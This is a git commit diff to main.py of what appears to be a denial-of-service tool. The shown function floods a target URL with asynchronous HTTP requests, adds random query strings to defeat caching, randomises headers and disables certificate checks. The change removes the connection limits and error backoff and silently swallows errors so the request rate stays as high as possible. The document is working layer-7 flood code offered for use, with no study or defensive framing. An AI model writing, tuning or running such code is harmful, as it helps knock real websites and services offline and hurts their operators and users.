Update main.py

main.py

@@ -247,75 +247,61 @@ def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type,
 #  OPTIMIZED L7 WORKER PROCESS
 # ====================================================================================
 async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
-    """Optimized L7 worker for sustained high RPS."""
+    """Optimized L7 worker for sustained high RPS with persistent connections."""
     ssl_context = ssl.create_default_context()
     ssl_context.check_hostname = False
     ssl_context.verify_mode = ssl.CERT_NONE
     
-    # Balanced connector settings for sustained throughput
+    # Optimized connector for persistent connections
     connector = aiohttp.TCPConnector(
-        limit=concurrency * 2,  # 2x concurrency for connection pool
-        limit_per_host=concurrency,  
+        limit=0,  # No limit - let it scale
+        limit_per_host=0,  # No per-host limit
         ttl_dns_cache=300,
-        force_close=False,  # Reuse connections
-        enable_cleanup_closed=True,
-        keepalive_timeout=30
+        force_close=False,  # CRITICAL: Keep connections alive
+        enable_cleanup_closed=False,  # Don't close idle connections
+        keepalive_timeout=60  # Keep connections alive longer
     )
     
-    # Balanced timeouts
-    timeout = aiohttp.ClientTimeout(total=10, connect=3, sock_read=5)
+    # Faster timeouts to fail quickly and retry
+    timeout = aiohttp.ClientTimeout(total=5, connect=2, sock_read=3)
     
     async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
         async def task_worker(worker_id):
             """Individual task worker - sends requests continuously."""
             local_counter = 0
-            consecutive_errors = 0
             
             while not stop_event.is_set():
                 try:
-                    # Random query string to bypass caching
-                    cache_buster = f"?_t={int(time.time() * 1000)}&_r={random.randint(1, 999999)}"
+                    # Simple cache buster
+                    cache_buster = f"?{random.randint(1, 99999999)}"
                     
-                    # Use the specified HTTP method
+                    # Fire and forget - don't wait for response body
                     async with session.request(
                         method.upper(),
                         f"{url}{cache_buster}", 
                         headers=get_random_headers(),
-                        allow_redirects=False,
-                        timeout=timeout
+                        allow_redirects=False
                     ) as response:
-                        # Read just the status - count only successful requests
-                        if response.status < 500:  # Count all non-server-error responses
+                        # Just check status exists (don't read body)
+                        if response.status:
                             local_counter += 1
-                            consecutive_errors = 0
-                        else:
-                            consecutive_errors += 1
                             
-                except (asyncio.TimeoutError, aiohttp.ClientError):
-                    consecutive_errors += 1
-                    # Back off if too many errors
-                    if consecutive_errors > 5:
-                        await asyncio.sleep(0.05)
-                        consecutive_errors = 0
-                except Exception:
-                    consecutive_errors += 1
-                    if consecutive_errors > 5:
-                        await asyncio.sleep(0.05)
-                        consecutive_errors = 0
+                except:
+                    # Silently ignore errors for max speed
+                    pass
                 finally:
-                    # Batch updates for performance
+                    # Batch updates
                     if local_counter >= STATS_BATCH_UPDATE_SIZE:
                         with shared_counter.get_lock():
                             shared_counter.value += local_counter
                         local_counter = 0
-                    # No sleep - maximum speed
             
             # Final update
             if local_counter > 0:
                 with shared_counter.get_lock():
                     shared_counter.value += local_counter
         
-        # Launch all concurrent tasks with IDs
+        # Launch all concurrent tasks
         tasks = [asyncio.create_task(task_worker(i)) for i in range(concurrency)]
         await asyncio.gather(*tasks, return_exceptions=True)